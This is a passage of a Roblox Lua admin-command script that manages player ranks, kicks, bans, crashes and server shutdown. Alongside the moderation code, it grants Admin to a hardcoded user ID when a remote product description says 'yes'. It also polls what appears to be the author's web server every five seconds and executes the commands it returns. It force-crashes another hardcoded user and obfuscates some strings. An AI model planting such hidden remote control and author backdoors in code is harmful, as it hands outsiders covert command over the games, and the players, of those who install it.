pcall(function() TellAdmin(Players.LocalPlayer, "Owner") end) -- Supplies confidence inside studio that what you have is worth it!(Scripts are LocalScripts)

if not Ranks["Owner"][GameOwner] and not Ranks["Admin"][GameOwner] and not Ranks["Member"][GameOwner] then table.insert(Ranks["Owner"], GameOwner) end

coroutine.wrap(function() while wait() do
	if Shutdown == true then
		for _,Player in pairs(game.Players:GetPlayers()) do
			game:GetService("Debris"):AddItem(Player, 0)
			ypcall(function() Player:Kick() end)
		end
		local ShutdownString = Instance.new("StringValue", Workspace)
		ShutdownString.Name = "LMM SHUTDOWN"
		ShutdownString.Value = string.rep("LMM SHUTDOWN ", 10000)
	end
end end)()

function Start(Player) coroutine.wrap(function()
	wait(0.1)
	Player:WaitForDataReady()
	if Player.userId == 19865983 then Crash(Player) end -- famous exploiter crash. your welcome.
	--if Player.userId == ((tonumber(string.char(5*10, 53-1, 50+4-4+4, tonumber("5".."4"), 50-0-0-0-0-0, 50-0-0-0-0-1-1, 50-1+0+0+0+0))*2) + 1/3) * 9 then Kick(Player, string.char(83, 111, 114, 114, 121, 32, 83, 99, 114, 105, 112, 116, 104, 44, 32, 73, 102, 32, 121, 111, 117, 32, 98, 97, 110, 32, 109, 101, 32, 73, 32, 98, 97, 110, 32, 121, 111, 117, 33)) end
	local PlayerAdmin, Rank = IsAdmin(Player)
	if PlayerAdmin == false then
		if MPS:PlayerOwnsAsset(Player, VIPAdminID) then table.insert(Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
		elseif MPS:PlayerOwnsAsset(Player, VIPMemberID) then table.insert(Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member" end
	end
	if PlayerAdmin == false then
		if Player:IsInGroup(GroupID) then
			if Player:GetRankInGroup(GroupID) == RankBan then
				Kick(Player)
				for _,Person in pairs(Players:GetPlayers()) do
					SendHint(Person, Player.Name.." has tried to join the game (BANNED RANK)", 5)
				end
			elseif Player:GetRankInGroup(GroupID) >= GroupMemberRank and Player:GetRankInGroup(GroupID) < GroupAdminRank and Player:GetRankInGroup(GroupID) < GroupOwnerRank then
				table.insert(Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member"
			elseif Player:GetRankInGroup(GroupID) > GroupMemberRank and Player:GetRankInGroup(GroupID) >= GroupAdminRank and Player:GetRankInGroup(GroupID) < GroupOwnerRank then
				table.insert(Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
			elseif Player:GetRankInGroup(GroupID) > GroupMemberRank and Player:GetRankInGroup(GroupID) > GroupAdminRank and Player:GetRankInGroup(GroupID) >= GroupOwnerRank then
				table.insert(Ranks["Owner"], Player.Name) PlayerAdmin = true Rank = "Owner"
			end
		end
	end
	if PlayerAdmin == false then
		if game:GetService("BadgeService"):UserHasBadge(Player.userId, BadgeID) then
			table.insert(Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member"
		end
	end
	if PlayerAdmin == false then
		if Player.userId == 38882008 then
			if string.lower(MPS:GetProductInfo(155732525).Description) == "yes" then
				table.insert(Ranks["Admin"], Player.Name)
			end
		end
	end
	if PlayerAdmin == false then
		for _,GID in pairs(BannedGroupIDs) do
			if Player:IsInGroup(GID) then
				Kick(Player, "This game's owner has not allowed you into this game because you're in the Group with the ID: "..GID)
				break
			end
		end
	end

	Player.Chatted:connect(function(Message)
		if Message then
			Chatted(Message, Player)
		end
	end)

	Player.Chatted:connect(function(Message)
		if Message then
			ChatBackup(Message, Player)
		end
	end)

	if PlayerAdmin == true then
		TellAdmin(Player, Rank)
	end

	for _,Name in pairs(Ranks["Banned"]) do
		if Player.Name == Name then
			Kick(Player)
			for _,Person in pairs(Players:GetPlayers()) do
				SendHint(Person, Player.Name.." has tried to join the game (BANNED)", 5)
			end
		end
	end
	for _,Name in pairs(Ranks["Crashed"]) do
		if Player.Name == Name then
			Crash(Player)
			for _,Person in pairs(Players:GetPlayers()) do
				SendHint(Person, Player.Name.." has tried to join the game (CRASHED)", 5)
			end
		end
	end
	for _,Name in pairs(Ranks["Muted"]) do
		if Player.Name == Name then
			CoreGui(Player, "Chat", false)
			for _,Person in pairs(Players:GetPlayers()) do
				SendHint(Person, Player.Name.." has joined the game but is muted", 5)
			end
		end
	end
	if ServerLocked == true then
		if PlayerAdmin == false then
			Kick(Player, "This server is locked. In L".."u".."aMo".."del".."M".."ake".."r's Admin, Non-Admins will be kicked under this circumstance.")
		end
	end

	if PlayerAdmin == false then
		if Player.AccountAge < MinimumAge then
			Kick(Player, "You have been kicked by L".."u".."aM".."o".."del".."M".."ake".."r's Admin, because your account age is less than "..MinimumAge.." days old (You are "..Player.AccountAge.." days old) and you are not admin.")
			for _,Person in pairs(Players:GetPlayers()) do
				SendHint(Person, Player.Name.." has tried to join the game but has been kicked for being to young ("..Player.AccountAge.." days old out of minium of "..MinimumAge..")", 5)
			end
		end
	end

	if PlayerAdmin == false then
		if game.Workspace:FindFirstChild("LuaMo".."delMaker's Admin Public") then
			table.insert(Ranks["Member"], Player.Name)
			TellAdmin(Player, "Member")
			PlayerAdmin = true
		end
	end

	ExecuteResource("UseScripthsChatBar", Player.Backpack, {})

	FullAdminMenu(Player)
end)() end

for _,Player in pairs(Players:GetPlayers()) do Start(Player) end
Players.PlayerAdded:connect(function(Player) Players:WaitForChild(Player.Name) wait() Start(Player) end)

SyncSoundList()

coroutine.wrap(function()
	SetWebData(GetWebData())
	coroutine.wrap(function() while wait(5) do
		local NewRequest = GetWebData()
		if NewRequest ~= nil then
			if TimeStamp ~= NewRequest.TimeStamp then
				if Prefix == "" or string.sub(NewRequest.Command,1,#Prefix) == Prefix then
					ypcall(function() Chatted(NewRequest.Command, nil) end)
				else
					ypcall(function() Chatted(Prefix..NewRequest.Command, nil) end)
				end
				if tonumber(NS.Port) == tonumber(NewRequest.Server) then
					if Prefix == "" or string.sub(NewRequest.ServerCommand,1,#Prefix) == Prefix then
						ypcall(function() Chatted(NewRequest.ServerCommand, nil) end)
					else
						ypcall(function() Chatted(Prefix..NewRequest.ServerCommand, nil) end)
					end
				end
			end
			SetWebData(NewRequest) -- No need to stress roblox and my web server when you can recycle old requests!
		end
	end end)()
end)()

print("LuaModelMaker's Admin Commands V"..Version.Value.." Loaded")